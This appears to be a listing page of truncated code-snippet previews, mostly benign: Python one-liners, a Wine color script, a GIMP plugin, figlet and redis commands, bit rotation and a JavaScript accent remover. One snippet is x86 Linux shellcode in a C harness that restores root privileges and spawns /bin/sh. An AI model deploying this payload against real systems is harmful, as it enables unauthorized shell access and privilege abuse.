List of command line accessible tools built into the python standard library.
Base64 en/decoding:
python -m base64 -d [file]
python -m base64 -e [file]
This is a Python script to extract GNOME/GTK's color scheme and apply it to Wine, so that the themes (approximately) match. | |
Instructions: | |
1. Set your Gnome theme as you would like it | |
2. Run with a command like "python wine_colors_from_gtk.py" | |
3. Restart any apps running in Wine. They should match the Gnome theme colors now. | |
Better description with screenshots here: http://www.endolith.com/wordpress/2008/08/03/wine-colors/ | |
This is also stored on https://code.launchpad.net/~endolith/+junk/wine-color-scraper |
#!/usr/bin/env python | |
# | |
# A GIMP plugin to save each layer in an image as a separate file | |
from gimpfu import * | |
import os | |
def export_layers(img, drw, path, name): | |
img = img.duplicate() | |
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ | |
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ | |
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ | |
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ | |
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"; | |
int main(int argc, char **argv) | |
{ | |
int (*func)(); | |
func = (int (*)()) code; | |
(int)(*func)(); |
/* | |
Welcome: 'egage', | |
GameSelected: 'CgC', | |
Correct: 'gCC', | |
Wrong: 'ec', | |
Fail: 'egec', | |
Winner: 'gggeCCC', | |
HighBeep: 'C', | |
LowBeep: 'c' | |
#!/usr/bin/env python | |
# coding: utf-8 | |
# You need PIL <http://www.pythonware.com/products/pil/> to run this script | |
# Download unifont.ttf from <http://unifoundry.com/unifont.html> (or use | |
# any TTF you have) | |
# Copyright 2011 Álvaro Justen [alvarojusten at gmail dot com] | |
# License: GPL <http://www.gnu.org/copyleft/gpl.html> | |
from image_utils import ImageText |
redis-cli EVAL "$(cat hello.lua)" 0 |
def rotl(num, bits): | |
bit = num & (1 << (bits-1)) | |
num <<= 1 | |
if(bit): | |
num |= 1 | |
num &= (2**bits-1) | |
return num | |
def rotr(num, bits): |
figlet "I've got something to say" | |
figlet -f thick "Make Tech ASCIIer" | |
date | figlet -f basic |
/** | |
* Remove acentos de caracteres | |
* @param {String} stringComAcento [string que contem os acentos] | |
* @return {String} [string sem acentos] | |
*/ | |
function removerAcentos( newStringComAcento ) { | |
var string = newStringComAcento; | |
var mapaAcentosHex = { | |
a : /[\xE0-\xE6]/g, | |
e : /[\xE8-\xEB]/g, |